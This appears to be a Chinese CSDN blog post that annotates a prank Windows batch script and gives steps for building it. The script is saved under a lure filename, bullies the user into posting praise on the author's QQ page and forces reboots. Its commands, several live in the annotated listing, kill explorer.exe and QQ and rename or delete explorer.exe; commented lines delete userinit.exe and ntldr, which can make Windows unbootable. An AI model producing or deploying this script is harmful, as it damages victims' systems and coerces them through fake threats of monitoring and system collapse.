恶作剧批处理(bat)代码解析

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/u011444756/article/details/83152236

无关的话:

 翻找资料时,发现了自己小时候保存到网盘里的一个恶作剧程序。碰巧最近刚看完shell命令,正好对该程序进行注释

什么是bat文件:

 bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下输入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。

其实就是一堆dos命令,类似于linux的shell

步骤:

 

  1. 新建一个文本文件
  2. 用记事本打开输入以下代码
  3. 代码(关于修改系统文件的命令已经被注释),保存更改扩展名为.bat
@echo off  
color 00
echo ping www.baidu.com > d:\小小木马.exe


::下面的几行代码要杀死explorer.exe进程并删除,删除explorer.exe文件不容恢复,所以被我注释掉了
::taskkill /f /im explorer.exe
::taskkill /f /im qq.exe
::ren %SystemRoot%\explorer.exe killer.dll
::del /f /s /q %SystemRoot%\explorer.exe


cls
echo.
echo 哈哈哈!好开心呐!又有人中招了。
echo.
echo 不过别担心,我可不是坏人,嘿嘿!O(∩_∩)O
echo.
echo 这个界面还挺温馨的吧?好歹我也会考虑下中标者的心理对吧?
echo.
echo 别把我的窗口关掉,也别关机,信不信由你(警告)。
echo.
echo 下面给你一个选择,请慎重。

echo.
set /p AA=请键入Y(相信我)或者N(不相信)后按回车(y/n):
if /i "%AA%"=="y" goto hui
if /i "%AA%"=="n" goto no
cls
echo 你放弃了选择或者键入错误!
pause

:no


::下面要删除killer.dll和userinit.exe也被我注释掉了
::del %SystemRoot%\killer.dll
::del /f /s /q %SystemRoot%\system32\userinit.exe


cls
echo 既然你不相信我,那我也没什好说的了。
echo.
echo 别以为我只会干坏事,如果你相信我,那么一切都会没事的。
echo.
echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\小小木马.exe >>a.bat
echo del a.txt >>a.bat
echo del 90后男生的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
shutdown -r -t 00
start a.bat
exit

:hui
cls
echo 哈哈,谢谢你相信我,你的选择是正确的。
echo.
echo 不过,你必须得按照我的提示完成以下步骤才行。
echo.
echo 等你完成了我的要求,我自然会把你的系统给恢复了。
echo.
echo 我善解人意吧?
echo.
echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
echo.
echo 不难吧?呵呵O(∩_∩)O
pause
echo %date% >a.txt & echo %time% >>a.txt
echo 哈哈,小样,中招了吧? >>a.txt
echo 不过你别担心,我不会对你怎么样,最主要的是你现在得听我的! >>a.txt
echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >>a.txt
echo 登陆你的QQ,然后点击查找,输入我的QQ号:******. >>a.txt
echo 点击查看资料,然后点击我的空间,然后在我的留言板留10次"你好帅” >>a.txt
echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >>a.txt
echo 现在可以关掉这记事本了。O(∩_∩)O >>a.txt
::for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"
start a.txt
cls
echo 登陆你的QQ并且留言后执行下一步。
pause
cls
echo 呵呵,游戏到此也快结束了,放心,待会儿你的系统就会恢复了。
echo.
echo 但是!我还想在玩一个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
echo.
echo 下面,请你做一个最关键的选择,记住,要慎重。
echo.
echo.
:no1
set /p BB=请键入Y(你好帅)或者N(你一点都不帅)后按回车(y/n):
if /i "%BB%"=="y" goto no3
if /i "%BB%"=="n" goto no2
cls
echo 你放弃了选择或者键入错误!
pause
goto no1
:no2

::del %SystemRoot%\killer.dll
::del /f /s /q %SystemRoot%\system32\userinit.exe
::attrib -r -s -h %SystemDrive%\ntldr % del %SystemDrive%\ntldr

cls
echo 我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
echo.
echo 能把这小东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
echo.
echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
echo.
echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\小小木马.exe >>a.bat
echo del a.txt >>a.bat
echo del 90后男生的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
shutdown -r -t 00
start a.bat
exit
:no3
cls
echo.
echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满足下自己的虚荣心。嘿嘿
echo.
echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
echo.
echo 下一步,按任意键恢复你的系统吧。
echo.
echo.
echo.
pause

::ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
::del %SystemRoot%\killer.dll

cls
echo 桌面出来了吧?哈哈,恭喜你过关。
echo.
echo 不过你别急着关了我这个程序,为什么呢?
echo.
echo 因为.............
echo.
echo 你看看你的D盘底下是不是多了样东西呢?
echo.
echo 想知道是什么吗?按任意键你就知道了。
echo.
pause
echo @echo off >a.bat
echo del d:\小小木马.exe >>a.bat
echo del a.txt >>a.bat
echo del 90后男生的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
start a.bat

注释(//之后的是注释):

@echo off       //不显示命令
color 00        //命令框的颜色
echo ping www.baidu.com > d:\小小木马.exe     //ping百度把结果存放到 d:\小小木马.exe 
taskkill /f /im explorer.exe         //杀死explorer.exe进程 
                                       // explorer.exe进程用来显示系统的桌面环境
                                        
taskkill /f /im qq.exe                //杀死qq.exe进程
ren %SystemRoot%\explorer.exe killer.dll          //把explorer.exe重命名为kille.dll
del /f /s /q %SystemRoot%\explorer.exe            //删除explorer.exe
cls

echo.     //输出
echo 哈哈哈!好开心呐!又有人中招了。
echo.
echo 不过别担心,我可不是坏人,嘿嘿!O(∩_∩)O
echo.
echo 这个界面还挺温馨的吧?好歹我也会考虑下中标者的心理对吧?
echo.
echo 别把我的窗口关掉,也别关机,信不信由你(警告)。
echo.
echo 下面给你一个选择,请慎重。

:shi
echo.
set /p AA=请键入Y(相信我)或者N(不相信)后按回车(y/n):
if /i "%AA%"=="y" goto hui   //输入y跳转到hui相关代码
if /i "%AA%"=="n" goto no    //输入n跳转到no
cls
echo 你放弃了选择或者键入错误!
pause
goto shi            //输入错误会重复执行 shi
:no

cls        //清屏
echo 既然你不相信我,那我也没什好说的了。
echo.
echo 别以为我只会干坏事,如果你相信我,那么一切都会没事的。
echo.
echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
shutdown -r -t 00   //关机
exit          //退出

:hui
cls            //清屏
echo 哈哈,谢谢你相信我,你的选择是正确的。
echo.
echo 不过,你必须得按照我的提示完成以下步骤才行。
echo.
echo 等你完成了我的要求,我自然会把你的系统给恢复了。
echo.
echo 我善解人意吧?
echo.
echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
echo.
echo 不难吧?呵呵O(∩_∩)O
pause


//把下面内容存入a.txt中
echo %date% >a.txt & echo %time% >>a.txt
echo 哈哈,小样,中招了吧? >>a.txt
echo 不过你别担心,我不会对你怎么样,最主要的是你现在得听我的! >>a.txt
echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >>a.txt
echo 登陆你的QQ,然后点击查找,输入我的QQ号:*****. >>a.txt
echo 点击查看资料,然后点击我的空间,然后在我的留言板留10次“你好帅” >>a.txt
echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >>a.txt
echo 现在可以关掉这记事本了。O(∩_∩)O >>a.txt

//在本地查找qq的路径 并运行
for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"
start a.txt        //打开a.txt
cls
echo 登陆你的QQ并且留言后执行下一步。
pause
cls
echo 呵呵,游戏到此也快结束了,放心,待会儿你的系统就会恢复了。
echo.
echo 但是!我还想在玩一个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
echo.
echo 下面,请你做一个最关键的选择,记住,要慎重。
echo.
echo.

:no1
set /p BB=请键入Y(你好帅)或者N(你一点都不帅)后按回车(y/n):
if /i "%BB%"=="y" goto no3            //输入y跳转到no3
if /i "%BB%"=="n" goto no2            //输入n跳转到no2
cls
echo 你放弃了选择或者键入错误!
pause
goto no1                //输入其他跳转no1


:no2                //no2代码
cls
echo 我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
echo.
echo 能把这小东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
echo.
echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
echo.
echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\小小木马.exe >>a.bat
echo del a.txt >>a.bat
echo del 90后男生的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
start a.bat
shutdown -r -t 00            //关机

exit


:no3                //no3代码
cls
echo.
echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满足下自己的虚荣心。嘿嘿
echo.
echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
echo.
echo 下一步,按任意键恢复你的系统吧。
echo.
echo.
echo.
pause

//把killer.dll重命名成explorer  
ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
del %SystemRoot%\killer.dll            //删除killer.dll

cls
echo 桌面出来了吧?哈哈,恭喜你过关。
echo.
echo 不过你别急着关了我这个程序,为什么呢?
echo.
echo 因为.............
echo.
echo 你看看你的D盘底下是不是多了样东西呢?
echo.
echo 想知道是什么吗?按任意键你就知道了。
echo.
pause
exit 
展开阅读全文

没有更多推荐了,返回首页